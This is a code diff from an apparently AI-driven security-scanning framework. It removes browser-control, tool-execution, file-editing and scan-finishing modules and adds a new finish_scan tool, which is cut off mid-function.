- self.browser_instance = BrowserInstance()
- result = self.browser_instance.launch(url)
- result["message"] = "Browser launched successfully"
- except (OSError, ValueError, RuntimeError) as e:
- if self.browser_instance:
- self.browser_instance = None
- raise RuntimeError(f"Failed to launch browser: {e}") from e
- else:
- return result
-
- def goto_url(self, url: str, tab_id: str | None = None) -> dict[str, Any]:
- with self._lock:
- if self.browser_instance is None:
- raise ValueError("Browser not launched")
-
- try:
- result = self.browser_instance.goto(url, tab_id)
- result["message"] = f"Navigated to {url}"
- except (OSError, ValueError, RuntimeError) as e:
- raise RuntimeError(f"Failed to navigate to URL: {e}") from e
- else:
- return result
-
- def click(self, coordinate: str, tab_id: str | None = None) -> dict[str, Any]:
- with self._lock:
- if self.browser_instance is None:
- raise ValueError("Browser not launched")
-
- try:
- result = self.browser_instance.click(coordinate, tab_id)
- result["message"] = f"Clicked at {coordinate}"
- except (OSError, ValueError, RuntimeError) as e:
- raise RuntimeError(f"Failed to click: {e}") from e
- else:
- return result
-
- def type_text(self, text: str, tab_id: str | None = None) -> dict[str, Any]:
- with self._lock:
- if self.browser_instance is None:
- raise ValueError("Browser not launched")
-
- try:
- result = self.browser_instance.type_text(text, tab_id)
- result["message"] = f"Typed text: {text[:50]}{'...' if len(text) > 50 else ''}"
- except (OSError, ValueError, RuntimeError) as e:
- raise RuntimeError(f"Failed to type text: {e}") from e
- else:
- return result
-
- def scroll(self, direction: str, tab_id: str | None = None) -> dict[str, Any]:
- with self._lock:
- if self.browser_instance is None:
- raise ValueError("Browser not launched")
-
- try:
- result = self.browser_instance.scroll(direction, tab_id)
- result["message"] = f"Scrolled {direction}"
- except (OSError, ValueError, RuntimeError) as e:
- raise RuntimeError(f"Failed to scroll: {e}") from e
- else:
- return result
-
- def back(self, tab_id: str | None = None) -> dict[str, Any]:
- with self._lock:
- if self.browser_instance is None:
- raise ValueError("Browser not launched")
-
- try:
- result = self.browser_instance.back(tab_id)
- result["message"] = "Navigated back"
- except (OSError, ValueError, RuntimeError) as e:
- raise RuntimeError(f"Failed to go back: {e}") from e
- else:
- return result
-
- def forward(self, tab_id: str | None = None) -> dict[str, Any]:
- with self._lock:
- if self.browser_instance is None:
- raise ValueError("Browser not launched")
-
- try:
- result = self.browser_instance.forward(tab_id)
- result["message"] = "Navigated forward"
- except (OSError, ValueError, RuntimeError) as e:
- raise RuntimeError(f"Failed to go forward: {e}") from e
- else:
- return result
-
- def new_tab(self, url: str | None = None) -> dict[str, Any]:
- with self._lock:
- if self.browser_instance is None:
- raise ValueError("Browser not launched")
-
- try:
- result = self.browser_instance.new_tab(url)
- result["message"] = f"Created new tab {result.get('tab_id', '')}"
- except (OSError, ValueError, RuntimeError) as e:
- raise RuntimeError(f"Failed to create new tab: {e}") from e
- else:
- return result
-
- def switch_tab(self, tab_id: str) -> dict[str, Any]:
- with self._lock:
- if self.browser_instance is None:
- raise ValueError("Browser not launched")
-
- try:
- result = self.browser_instance.switch_tab(tab_id)
- result["message"] = f"Switched to tab {tab_id}"
- except (OSError, ValueError, RuntimeError) as e:
- raise RuntimeError(f"Failed to switch tab: {e}") from e
- else:
- return result
-
- def close_tab(self, tab_id: str) -> dict[str, Any]:
- with self._lock:
- if self.browser_instance is None:
- raise ValueError("Browser not launched")
-
- try:
- result = self.browser_instance.close_tab(tab_id)
- result["message"] = f"Closed tab {tab_id}"
- except (OSError, ValueError, RuntimeError) as e:
- raise RuntimeError(f"Failed to close tab: {e}") from e
- else:
- return result
-
- def wait_browser(self, duration: float, tab_id: str | None = None) -> dict[str, Any]:
- with self._lock:
- if self.browser_instance is None:
- raise ValueError("Browser not launched")
-
- try:
- result = self.browser_instance.wait(duration, tab_id)
- result["message"] = f"Waited {duration}s"
- except (OSError, ValueError, RuntimeError) as e:
- raise RuntimeError(f"Failed to wait: {e}") from e
- else:
- return result
-
- def execute_js(self, js_code: str, tab_id: str | None = None) -> dict[str, Any]:
- with self._lock:
- if self.browser_instance is None:
- raise ValueError("Browser not launched")
-
- try:
- result = self.browser_instance.execute_js(js_code, tab_id)
- result["message"] = "JavaScript executed successfully"
- except (OSError, ValueError, RuntimeError) as e:
- raise RuntimeError(f"Failed to execute JavaScript: {e}") from e
- else:
- return result
-
- def double_click(self, coordinate: str, tab_id: str | None = None) -> dict[str, Any]:
- with self._lock:
- if self.browser_instance is None:
- raise ValueError("Browser not launched")
-
- try:
- result = self.browser_instance.double_click(coordinate, tab_id)
- result["message"] = f"Double clicked at {coordinate}"
- except (OSError, ValueError, RuntimeError) as e:
- raise RuntimeError(f"Failed to double click: {e}") from e
- else:
- return result
-
- def hover(self, coordinate: str, tab_id: str | None = None) -> dict[str, Any]:
- with self._lock:
- if self.browser_instance is None:
- raise ValueError("Browser not launched")
-
- try:
- result = self.browser_instance.hover(coordinate, tab_id)
- result["message"] = f"Hovered at {coordinate}"
- except (OSError, ValueError, RuntimeError) as e:
- raise RuntimeError(f"Failed to hover: {e}") from e
- else:
- return result
-
- def press_key(self, key: str, tab_id: str | None = None) -> dict[str, Any]:
- with self._lock:
- if self.browser_instance is None:
- raise ValueError("Browser not launched")
-
- try:
- result = self.browser_instance.press_key(key, tab_id)
- result["message"] = f"Pressed key {key}"
- except (OSError, ValueError, RuntimeError) as e:
- raise RuntimeError(f"Failed to press key: {e}") from e
- else:
- return result
-
- def save_pdf(self, file_path: str, tab_id: str | None = None) -> dict[str, Any]:
- with self._lock:
- if self.browser_instance is None:
- raise ValueError("Browser not launched")
-
- try:
- result = self.browser_instance.save_pdf(file_path, tab_id)
- result["message"] = f"Page saved as PDF: {file_path}"
- except (OSError, ValueError, RuntimeError) as e:
- raise RuntimeError(f"Failed to save PDF: {e}") from e
- else:
- return result
-
- def get_console_logs(self, tab_id: str | None = None, clear: bool = False) -> dict[str, Any]:
- with self._lock:
- if self.browser_instance is None:
- raise ValueError("Browser not launched")
-
- try:
- result = self.browser_instance.get_console_logs(tab_id, clear)
- action_text = "cleared and retrieved" if clear else "retrieved"
-
- logs = result.get("console_logs", [])
- truncated = any(log.get("text", "").startswith("[TRUNCATED:") for log in logs)
- truncated_text = " (truncated)" if truncated else ""
-
- result["message"] = (
- f"Console logs {action_text} for tab "
- f"{result.get('tab_id', 'current')}{truncated_text}"
- )
- except (OSError, ValueError, RuntimeError) as e:
- raise RuntimeError(f"Failed to get console logs: {e}") from e
- else:
- return result
-
- def view_source(self, tab_id: str | None = None) -> dict[str, Any]:
- with self._lock:
- if self.browser_instance is None:
- raise ValueError("Browser not launched")
-
- try:
- result = self.browser_instance.view_source(tab_id)
- result["message"] = "Page source retrieved"
- except (OSError, ValueError, RuntimeError) as e:
- raise RuntimeError(f"Failed to get page source: {e}") from e
- else:
- return result
-
- def list_tabs(self) -> dict[str, Any]:
- with self._lock:
- if self.browser_instance is None:
- return {"tabs": {}, "total_count": 0, "current_tab": None}
-
- try:
- tab_info = {}
- for tid, tab_page in self.browser_instance.pages.items():
- try:
- tab_info[tid] = {
- "url": tab_page.url,
- "title": "Unknown" if tab_page.is_closed() else "Active",
- "is_current": tid == self.browser_instance.current_page_id,
- }
- except (AttributeError, RuntimeError):
- tab_info[tid] = {
- "url": "Unknown",
- "title": "Closed",
- "is_current": False,
- }
-
- return {
- "tabs": tab_info,
- "total_count": len(tab_info),
- "current_tab": self.browser_instance.current_page_id,
- }
- except (OSError, ValueError, RuntimeError) as e:
- raise RuntimeError(f"Failed to list tabs: {e}") from e
-
- def close_browser(self) -> dict[str, Any]:
- with self._lock:
- if self.browser_instance is None:
- raise ValueError("Browser not launched")
-
- try:
- self.browser_instance.close()
- self.browser_instance = None
- except (OSError, ValueError, RuntimeError) as e:
- raise RuntimeError(f"Failed to close browser: {e}") from e
- else:
- return {
- "message": "Browser closed successfully",
- "screenshot": "",
- "is_running": False,
- }
-
- def cleanup_dead_browser(self) -> None:
- with self._lock:
- if self.browser_instance and not self.browser_instance.is_alive():
- with contextlib.suppress(Exception):
- self.browser_instance.close()
- self.browser_instance = None
-
- def close_all(self) -> None:
- with self._lock:
- if self.browser_instance:
- with contextlib.suppress(Exception):
- self.browser_instance.close()
- self.browser_instance = None
-
- def _register_cleanup_handlers(self) -> None:
- atexit.register(self.close_all)
-
- signal.signal(signal.SIGTERM, self._signal_handler)
- signal.signal(signal.SIGINT, self._signal_handler)
-
- if hasattr(signal, "SIGHUP"):
- signal.signal(signal.SIGHUP, self._signal_handler)
-
- def _signal_handler(self, _signum: int, _frame: Any) -> None:
- self.close_all()
- sys.exit(0)
-
-
-_browser_tab_manager = BrowserTabManager()
-
-
-def get_browser_tab_manager() -> BrowserTabManager:
- return _browser_tab_manager
diff --git a/strix/tools/executor.py b/strix/tools/executor.py
deleted file mode 100644
index 3f78da402..000000000
--- a/strix/tools/executor.py
+++ /dev/null
@@ -1,302 +0,0 @@
-import inspect
-import os
-from typing import Any
-
-import httpx
-
-
-if os.getenv("STRIX_SANDBOX_MODE", "false").lower() == "false":
- from strix.runtime import get_runtime
-
-from .argument_parser import convert_arguments
-from .registry import (
- get_tool_by_name,
- get_tool_names,
- needs_agent_state,
- should_execute_in_sandbox,
-)
-
-
-async def execute_tool(tool_name: str, agent_state: Any | None = None, **kwargs: Any) -> Any:
- execute_in_sandbox = should_execute_in_sandbox(tool_name)
- sandbox_mode = os.getenv("STRIX_SANDBOX_MODE", "false").lower() == "true"
-
- if execute_in_sandbox and not sandbox_mode:
- return await _execute_tool_in_sandbox(tool_name, agent_state, **kwargs)
-
- return await _execute_tool_locally(tool_name, agent_state, **kwargs)
-
-
-async def _execute_tool_in_sandbox(tool_name: str, agent_state: Any, **kwargs: Any) -> Any:
- if not hasattr(agent_state, "sandbox_id") or not agent_state.sandbox_id:
- raise ValueError("Agent state with a valid sandbox_id is required for sandbox execution.")
-
- if not hasattr(agent_state, "sandbox_token") or not agent_state.sandbox_token:
- raise ValueError(
- "Agent state with a valid sandbox_token is required for sandbox execution."
- )
-
- if (
- not hasattr(agent_state, "sandbox_info")
- or "tool_server_port" not in agent_state.sandbox_info
- ):
- raise ValueError(
- "Agent state with a valid sandbox_info containing tool_server_port is required."
- )
-
- runtime = get_runtime()
- tool_server_port = agent_state.sandbox_info["tool_server_port"]
- server_url = await runtime.get_sandbox_url(agent_state.sandbox_id, tool_server_port)
- request_url = f"{server_url}/execute"
-
- request_data = {
- "tool_name": tool_name,
- "kwargs": kwargs,
- }
-
- headers = {
- "Authorization": f"Bearer {agent_state.sandbox_token}",
- "Content-Type": "application/json",
- }
-
- async with httpx.AsyncClient() as client:
- try:
- response = await client.post(
- request_url, json=request_data, headers=headers, timeout=None
- )
- response.raise_for_status()
- response_data = response.json()
- if response_data.get("error"):
- raise RuntimeError(f"Sandbox execution error: {response_data['error']}")
- return response_data.get("result")
- except httpx.HTTPStatusError as e:
- if e.response.status_code == 401:
- raise RuntimeError("Authentication failed: Invalid or missing sandbox token") from e
- raise RuntimeError(f"HTTP error calling tool server: {e.response.status_code}") from e
- except httpx.RequestError as e:
- raise RuntimeError(f"Request error calling tool server: {e}") from e
-
-
-async def _execute_tool_locally(tool_name: str, agent_state: Any | None, **kwargs: Any) -> Any:
- tool_func = get_tool_by_name(tool_name)
- if not tool_func:
- raise ValueError(f"Tool '{tool_name}' not found")
-
- converted_kwargs = convert_arguments(tool_func, kwargs)
-
- if needs_agent_state(tool_name):
- if agent_state is None:
- raise ValueError(f"Tool '{tool_name}' requires agent_state but none was provided.")
- result = tool_func(agent_state=agent_state, **converted_kwargs)
- else:
- result = tool_func(**converted_kwargs)
-
- return await result if inspect.isawaitable(result) else result
-
-
-def validate_tool_availability(tool_name: str | None) -> tuple[bool, str]:
- if tool_name is None:
- return False, "Tool name is missing"
-
- if tool_name not in get_tool_names():
- return False, f"Tool '{tool_name}' is not available"
-
- return True, ""
-
-
-async def execute_tool_with_validation(
- tool_name: str | None, agent_state: Any | None = None, **kwargs: Any
-) -> Any:
- is_valid, error_msg = validate_tool_availability(tool_name)
- if not is_valid:
- return f"Error: {error_msg}"
-
- assert tool_name is not None
-
- try:
- result = await execute_tool(tool_name, agent_state, **kwargs)
- except Exception as e: # noqa: BLE001
- error_str = str(e)
- if len(error_str) > 500:
- error_str = error_str[:500] + "... [truncated]"
- return f"Error executing {tool_name}: {error_str}"
- else:
- return result
-
-
-async def execute_tool_invocation(tool_inv: dict[str, Any], agent_state: Any | None = None) -> Any:
- tool_name = tool_inv.get("toolName")
- tool_args = tool_inv.get("args", {})
-
- return await execute_tool_with_validation(tool_name, agent_state, **tool_args)
-
-
-def _check_error_result(result: Any) -> tuple[bool, Any]:
- is_error = False
- error_payload: Any = None
-
- if (isinstance(result, dict) and "error" in result) or (
- isinstance(result, str) and result.strip().lower().startswith("error:")
- ):
- is_error = True
- error_payload = result
-
- return is_error, error_payload
-
-
-def _update_tracer_with_result(
- tracer: Any, execution_id: Any, is_error: bool, result: Any, error_payload: Any
-) -> None:
- if not tracer or not execution_id:
- return
-
- try:
- if is_error:
- tracer.update_tool_execution(execution_id, "error", error_payload)
- else:
- tracer.update_tool_execution(execution_id, "completed", result)
- except (ConnectionError, RuntimeError) as e:
- error_msg = str(e)
- if tracer and execution_id:
- tracer.update_tool_execution(execution_id, "error", error_msg)
- raise
-
-
-def _format_tool_result(tool_name: str, result: Any) -> tuple[str, list[dict[str, Any]]]:
- images: list[dict[str, Any]] = []
-
- screenshot_data = extract_screenshot_from_result(result)
- if screenshot_data:
- images.append(
- {
- "type": "image_url",
- "image_url": {"url": f"data:image/png;base64,{screenshot_data}"},
- }
- )
- result_str = remove_screenshot_from_result(result)
- else:
- result_str = result
-
- if result_str is None:
- final_result_str = f"Tool {tool_name} executed successfully"
- else:
- final_result_str = str(result_str)
- if len(final_result_str) > 10000:
- start_part = final_result_str[:4000]
- end_part = final_result_str[-4000:]
- final_result_str = start_part + "\n\n... [middle content truncated] ...\n\n" + end_part
-
- observation_xml = (
- f"\n{tool_name} \n"
- f"{final_result_str} \n "
- )
-
- return observation_xml, images
-
-
-async def _execute_single_tool(
- tool_inv: dict[str, Any],
- agent_state: Any | None,
- tracer: Any | None,
- agent_id: str,
-) -> tuple[str, list[dict[str, Any]], bool]:
- tool_name = tool_inv.get("toolName", "unknown")
- args = tool_inv.get("args", {})
- execution_id = None
- should_agent_finish = False
-
- if tracer:
- execution_id = tracer.log_tool_execution_start(agent_id, tool_name, args)
-
- try:
- result = await execute_tool_invocation(tool_inv, agent_state)
-
- is_error, error_payload = _check_error_result(result)
-
- if (
- tool_name in ("finish_scan", "agent_finish")
- and not is_error
- and isinstance(result, dict)
- ):
- if tool_name == "finish_scan":
- should_agent_finish = result.get("scan_completed", False)
- elif tool_name == "agent_finish":
- should_agent_finish = result.get("agent_completed", False)
-
- _update_tracer_with_result(tracer, execution_id, is_error, result, error_payload)
-
- except (ConnectionError, RuntimeError, ValueError, TypeError, OSError) as e:
- error_msg = str(e)
- if tracer and execution_id:
- tracer.update_tool_execution(execution_id, "error", error_msg)
- raise
-
- observation_xml, images = _format_tool_result(tool_name, result)
- return observation_xml, images, should_agent_finish
-
-
-def _get_tracer_and_agent_id(agent_state: Any | None) -> tuple[Any | None, str]:
- try:
- from strix.cli.tracer import get_global_tracer
-
- tracer = get_global_tracer()
- agent_id = agent_state.agent_id if agent_state else "unknown_agent"
- except (ImportError, AttributeError):
- tracer = None
- agent_id = "unknown_agent"
-
- return tracer, agent_id
-
-
-async def process_tool_invocations(
- tool_invocations: list[dict[str, Any]],
- conversation_history: list[dict[str, Any]],
- agent_state: Any | None = None,
-) -> bool:
- observation_parts: list[str] = []
- all_images: list[dict[str, Any]] = []
- should_agent_finish = False
-
- tracer, agent_id = _get_tracer_and_agent_id(agent_state)
-
- for tool_inv in tool_invocations:
- observation_xml, images, tool_should_finish = await _execute_single_tool(
- tool_inv, agent_state, tracer, agent_id
- )
- observation_parts.append(observation_xml)
- all_images.extend(images)
-
- if tool_should_finish:
- should_agent_finish = True
-
- if all_images:
- content = [{"type": "text", "text": "Tool Results:\n\n" + "\n\n".join(observation_parts)}]
- content.extend(all_images)
- conversation_history.append({"role": "user", "content": content})
- else:
- observation_content = "Tool Results:\n\n" + "\n\n".join(observation_parts)
- conversation_history.append({"role": "user", "content": observation_content})
-
- return should_agent_finish
-
-
-def extract_screenshot_from_result(result: Any) -> str | None:
- if not isinstance(result, dict):
- return None
-
- screenshot = result.get("screenshot")
- if isinstance(screenshot, str) and screenshot:
- return screenshot
-
- return None
-
-
-def remove_screenshot_from_result(result: Any) -> Any:
- if not isinstance(result, dict):
- return result
-
- result_copy = result.copy()
- if "screenshot" in result_copy:
- result_copy["screenshot"] = "[Image data extracted - see attached image]"
-
- return result_copy
diff --git a/strix/tools/file_edit/__init__.py b/strix/tools/file_edit/__init__.py
deleted file mode 100644
index 7d73cd8f6..000000000
--- a/strix/tools/file_edit/__init__.py
+++ /dev/null
@@ -1,4 +0,0 @@
-from .file_edit_actions import list_files, search_files, str_replace_editor
-
-
-__all__ = ["list_files", "search_files", "str_replace_editor"]
diff --git a/strix/tools/file_edit/file_edit_actions.py b/strix/tools/file_edit/file_edit_actions.py
deleted file mode 100644
index e3741ccfc..000000000
--- a/strix/tools/file_edit/file_edit_actions.py
+++ /dev/null
@@ -1,141 +0,0 @@
-import json
-import re
-from pathlib import Path
-from typing import Any, cast
-
-from openhands_aci import file_editor
-from openhands_aci.utils.shell import run_shell_cmd
-
-from strix.tools.registry import register_tool
-
-
-def _parse_file_editor_output(output: str) -> dict[str, Any]:
- try:
- pattern = r"]+>\n(.*?)\n ]+>"
- match = re.search(pattern, output, re.DOTALL)
-
- if match:
- json_str = match.group(1)
- data = json.loads(json_str)
- return cast("dict[str, Any]", data)
- return {"output": output, "error": None}
- except (json.JSONDecodeError, AttributeError):
- return {"output": output, "error": None}
-
-
-@register_tool
-def str_replace_editor(
- command: str,
- path: str,
- file_text: str | None = None,
- view_range: list[int] | None = None,
- old_str: str | None = None,
- new_str: str | None = None,
- insert_line: int | None = None,
-) -> dict[str, Any]:
- try:
- path_obj = Path(path)
- if not path_obj.is_absolute():
- path = str(Path("/workspace") / path_obj)
-
- result = file_editor(
- command=command,
- path=path,
- file_text=file_text,
- view_range=view_range,
- old_str=old_str,
- new_str=new_str,
- insert_line=insert_line,
- )
-
- parsed = _parse_file_editor_output(result)
-
- if parsed.get("error"):
- return {"error": parsed["error"]}
-
- return {"content": parsed.get("output", result)}
-
- except (OSError, ValueError) as e:
- return {"error": f"Error in {command} operation: {e!s}"}
-
-
-@register_tool
-def list_files(
- path: str,
- recursive: bool = False,
-) -> dict[str, Any]:
- try:
- path_obj = Path(path)
- if not path_obj.is_absolute():
- path = str(Path("/workspace") / path_obj)
- path_obj = Path(path)
-
- if not path_obj.exists():
- return {"error": f"Directory not found: {path}"}
-
- if not path_obj.is_dir():
- return {"error": f"Path is not a directory: {path}"}
-
- cmd = f"find '{path}' -type f -o -type d | head -500" if recursive else f"ls -1a '{path}'"
-
- exit_code, stdout, stderr = run_shell_cmd(cmd)
-
- if exit_code != 0:
- return {"error": f"Error listing directory: {stderr}"}
-
- items = stdout.strip().split("\n") if stdout.strip() else []
-
- files = []
- dirs = []
-
- for item in items:
- item_path = item if recursive else str(Path(path) / item)
- item_path_obj = Path(item_path)
-
- if item_path_obj.is_file():
- files.append(item)
- elif item_path_obj.is_dir():
- dirs.append(item)
-
- return {
- "files": sorted(files),
- "directories": sorted(dirs),
- "total_files": len(files),
- "total_dirs": len(dirs),
- "path": path,
- "recursive": recursive,
- }
-
- except (OSError, ValueError) as e:
- return {"error": f"Error listing directory: {e!s}"}
-
-
-@register_tool
-def search_files(
- path: str,
- regex: str,
- file_pattern: str = "*",
-) -> dict[str, Any]:
- try:
- path_obj = Path(path)
- if not path_obj.is_absolute():
- path = str(Path("/workspace") / path_obj)
-
- if not Path(path).exists():
- return {"error": f"Directory not found: {path}"}
-
- escaped_regex = regex.replace("'", "'\"'\"'")
-
- cmd = f"rg --line-number --glob '{file_pattern}' '{escaped_regex}' '{path}'"
-
- exit_code, stdout, stderr = run_shell_cmd(cmd)
-
- if exit_code not in {0, 1}:
- return {"error": f"Error searching files: {stderr}"}
- return {"output": stdout if stdout else "No matches found"}
-
- except (OSError, ValueError) as e:
- return {"error": f"Error searching files: {e!s}"}
-
-
-# ruff: noqa: TRY300
diff --git a/strix/tools/file_edit/file_edit_actions_schema.xml b/strix/tools/file_edit/file_edit_actions_schema.xml
deleted file mode 100644
index ccf59558e..000000000
--- a/strix/tools/file_edit/file_edit_actions_schema.xml
+++ /dev/null
@@ -1,128 +0,0 @@
-
-
- List files and directories within the specified directory.
-
-
- Directory path to list
-
-
- Whether to list files recursively
-
-
-
- Response containing: - files: List of files and directories - total_files: Total number of files found - total_dirs: Total number of directories found
-
-
- - Lists contents alphabetically
- - Returns maximum 500 results to avoid overwhelming output
-
-
- # List directory contents
-
- /home/user/project/src
-
-
- # Recursive listing
-
- /home/user/project/src
- true
-
-
-
-
- Perform a regex search across files in a directory.
-
-
- Directory path to search
-
-
- Regular expression pattern to search for
-
-
- File pattern to filter (e.g., "*.py", "*.js")
-
-
-
- Response containing: - output: The search results as a string
-
-
- - Searches recursively through subdirectories
- - Uses ripgrep for fast searching
-
-
- # Search Python files for a pattern
-
- /home/user/project/src
- def\s+process_data
- *.py
-
-
-
-
- A text editor tool for viewing, creating and editing files.
-
-
- Editor command to execute
-
-
- Path to the file to edit
-
-
- Required parameter of create command, with the content of the file to be created
-
-
- Optional parameter of view command when path points to a file. If none is given, the full file is shown. If provided, the file will be shown in the indicated line number range, e.g. [11, 12] will show lines 11 and 12. Indexing at 1 to start. Setting [start_line, -1] shows all lines from start_line to the end of the file
-
-
- Required parameter of str_replace command containing the string in path to replace
-
-
- Optional parameter of str_replace command containing the new string (if not given, no string will be added). Required parameter of insert command containing the string to insert
-
-
- Required parameter of insert command. The new_str will be inserted AFTER the line insert_line of path
-
-
-
- Response containing the result of the operation
-
-
- Command details:
- - view: Show file contents, optionally with line range
- - create: Create a new file with given content
- - str_replace: Replace old_str with new_str in file
- - insert: Insert new_str after the specified line number
- - undo_edit: Revert the last edit made to the file
-
-
- # View a file
-
- view
- /home/user/project/file.py
-
-
- # Create a file
-
- create
- /home/user/project/new_file.py
- print("Hello World")
-
-
- # Replace text in file
-
- str_replace
- /home/user/project/file.py
- old_function()
- new_function()
-
-
- # Insert text after line 10
-
- insert
- /home/user/project/file.py
- 10
- print("Inserted line")
-
-
-
-
diff --git a/strix/tools/finish/__init__.py b/strix/tools/finish/__init__.py
index 60825dbbd..e69de29bb 100644
--- a/strix/tools/finish/__init__.py
+++ b/strix/tools/finish/__init__.py
@@ -1,4 +0,0 @@
-from .finish_actions import finish_scan
-
-
-__all__ = ["finish_scan"]
diff --git a/strix/tools/finish/finish_actions.py b/strix/tools/finish/finish_actions.py
deleted file mode 100644
index c473c38ca..000000000
--- a/strix/tools/finish/finish_actions.py
+++ /dev/null
@@ -1,174 +0,0 @@
-from typing import Any
-
-from strix.tools.registry import register_tool
-
-
-def _validate_root_agent(agent_state: Any) -> dict[str, Any] | None:
- if (
- agent_state is not None
- and hasattr(agent_state, "parent_id")
- and agent_state.parent_id is not None
- ):
- return {
- "success": False,
- "message": (
- "This tool can only be used by the root/main agent. "
- "Subagents must use agent_finish instead."
- ),
- }
- return None
-
-
-def _validate_content(content: str) -> dict[str, Any] | None:
- if not content or not content.strip():
- return {"success": False, "message": "Content cannot be empty"}
- return None
-
-
-def _check_active_agents(agent_state: Any = None) -> dict[str, Any] | None:
- try:
- from strix.tools.agents_graph.agents_graph_actions import _agent_graph
-
- current_agent_id = None
- if agent_state and hasattr(agent_state, "agent_id"):
- current_agent_id = agent_state.agent_id
-
- running_agents = []
- stopping_agents = []
-
- for agent_id, node in _agent_graph.get("nodes", {}).items():
- if agent_id == current_agent_id:
- continue
-
- status = node.get("status", "")
- if status == "running":
- running_agents.append(
- {
- "id": agent_id,
- "name": node.get("name", "Unknown"),
- "task": node.get("task", "No task description"),
- }
- )
- elif status == "stopping":
- stopping_agents.append(
- {
- "id": agent_id,
- "name": node.get("name", "Unknown"),
- }
- )
-
- if running_agents or stopping_agents:
- message_parts = ["Cannot finish scan while other agents are still active:"]
-
- if running_agents:
- message_parts.append("\n\nRunning agents:")
- message_parts.extend(
- [
- f" - {agent['name']} ({agent['id']}): {agent['task']}"
- for agent in running_agents
- ]
- )
-
- if stopping_agents:
- message_parts.append("\n\nStopping agents:")
- message_parts.extend(
- [f" - {agent['name']} ({agent['id']})" for agent in stopping_agents]
- )
-
- message_parts.extend(
- [
- "\n\nSuggested actions:",
- "1. Use wait_for_message to wait for all agents to complete",
- "2. Send messages to agents asking them to finish if urgent",
- "3. Use view_agent_graph to monitor agent status",
- ]
- )
-
- return {
- "success": False,
- "message": "\n".join(message_parts),
- "active_agents": {
- "running": len(running_agents),
- "stopping": len(stopping_agents),
- "details": {
- "running": running_agents,
- "stopping": stopping_agents,
- },
- },
- }
-
- except ImportError:
- import logging
-
- logging.warning("Could not check agent graph status - agents_graph module unavailable")
-
- return None
-
-
-def _finalize_with_tracer(content: str, success: bool) -> dict[str, Any]:
- try:
- from strix.cli.tracer import get_global_tracer
-
- tracer = get_global_tracer()
- if tracer:
- tracer.set_final_scan_result(
- content=content.strip(),
- success=success,
- )
-
- return {
- "success": True,
- "scan_completed": True,
- "message": "Scan completed successfully"
- if success
- else "Scan completed with errors",
- "vulnerabilities_found": len(tracer.vulnerability_reports),
- }
-
- import logging
-
- logging.warning("Global tracer not available - final scan result not stored")
-
- return { # noqa: TRY300
- "success": True,
- "scan_completed": True,
- "message": "Scan completed successfully (not persisted)"
- if success
- else "Scan completed with errors (not persisted)",
- "warning": "Final result could not be persisted - tracer unavailable",
- }
-
- except ImportError:
- return {
- "success": True,
- "scan_completed": True,
- "message": "Scan completed successfully (not persisted)"
- if success
- else "Scan completed with errors (not persisted)",
- "warning": "Final result could not be persisted - tracer module unavailable",
- }
-
-
-@register_tool(sandbox_execution=False)
-def finish_scan(
- content: str,
- success: bool = True,
- agent_state: Any = None,
-) -> dict[str, Any]:
- try:
- validation_error = _validate_root_agent(agent_state)
- if validation_error:
- return validation_error
-
- validation_error = _validate_content(content)
- if validation_error:
- return validation_error
-
- active_agents_error = _check_active_agents(agent_state)
- if active_agents_error:
- return active_agents_error
-
- return _finalize_with_tracer(content, success)
-
- except (ValueError, TypeError, KeyError) as e:
- return {"success": False, "message": f"Failed to complete scan: {e!s}"}
diff --git a/strix/tools/finish/finish_actions_schema.xml b/strix/tools/finish/finish_actions_schema.xml
deleted file mode 100644
index dc8ddde2d..000000000
--- a/strix/tools/finish/finish_actions_schema.xml
+++ /dev/null
@@ -1,45 +0,0 @@
-
-
- Complete the main security scan and generate final report.
-
-IMPORTANT: This tool can ONLY be used by the root/main agent.
-Subagents must use agent_finish from agents_graph tool instead.
-
-IMPORTANT: This tool will NOT allow finishing if any agents are still running or stopping.
-You must wait for all agents to complete before using this tool.
-
-This tool MUST be called at the very end of the security assessment to:
-- Verify all agents have completed their tasks
-- Generate the final comprehensive scan report
-- Mark the entire scan as completed
-- Stop the agent from running
-
-Use this tool when:
-- You are the main/root agent conducting the security assessment
-- ALL subagents have completed their tasks (no agents are "running" or "stopping")
-- You have completed all testing phases
-- You are ready to conclude the entire security assessment
-
-IMPORTANT: Calling this tool multiple times will OVERWRITE any previous scan report.
-Make sure you include ALL findings and details in a single comprehensive report.
-
-If agents are still running, this tool will:
-- Show you which agents are still active
-- Suggest using wait_for_message to wait for completion
-- Suggest messaging agents if immediate completion is needed
-
-Put ALL details in the content - methodology, tools used, vulnerability counts, key findings, recommendations,
-compliance notes, risk assessments, next steps, etc. Be comprehensive and include everything relevant.
-
-
- Complete scan report including executive summary, methodology, findings, vulnerability details, recommendations, compliance notes, risk assessment, and conclusions. Include everything relevant to the assessment.
-
-
- Whether the scan completed successfully without critical errors
-
-
-
- Response containing success status and completion message. If agents are still running, returns details about active agents and suggested actions.
-
-
-
diff --git a/strix/tools/finish/tool.py b/strix/tools/finish/tool.py
new file mode 100644
index 000000000..c7662b2a1
--- /dev/null
+++ b/strix/tools/finish/tool.py
@@ -0,0 +1,188 @@
+"""``finish_scan`` — root-agent termination + executive report persistence."""
+
+from __future__ import annotations
+
+import asyncio
+import json
+import logging
+from typing import Any
+
+from agents import RunContextWrapper, function_tool
+
+from strix.core.agents import coordinator_from_context
+
+
+logger = logging.getLogger(__name__)
+
+
+def _do_finish(
+ *,
+ parent_id: str | None,
+ executive_summary: str,
+ methodology: str,
+ technical_analysis: str,
+ recommendations: str,
+) -> dict[str, Any]:
+ if parent_id is not None:
+ return {
+ "success": False,
+ "error": (
+ "This tool can only be used by the root/main agent. "
+ "If you are a subagent, use agent_finish instead"
+ ),
+ }
+
+ errors: list[str] = []
+ if not executive_summary.strip():
+ errors.append("Executive summary cannot be empty")
+ if not methodology.strip():
+ errors.append("Methodology cannot be empty")
+ if not technical_analysis.strip():
+ errors.append("Technical analysis cannot be empty")
+ if not recommendations.strip():
+ errors.append("Recommendations cannot be empty")
+ if errors:
+ return {"success": False, "error": "Validation failed", "errors": errors}
+
+ try:
+ from strix.report.state import get_global_report_state
+
+ report_state = get_global_report_state()
+ if report_state is None:
+ logger.warning("No global report state; scan results not persisted")
+ return {
+ "success": True,
+ "scan_completed": True,
+ "message": "Scan completed (not persisted)",
+ "warning": "Results could not be persisted - report state unavailable",
+ }
+ report_state.update_scan_final_fields(
+ executive_summary=executive_summary.strip(),
+ methodology=methodology.strip(),
+ technical_analysis=technical_analysis.strip(),
+ recommendations=recommendations.strip(),
+ )
+ vuln_count = len(report_state.vulnerability_reports)
+ except (ImportError, AttributeError) as e:
+ logger.exception("finish_scan persistence failed")
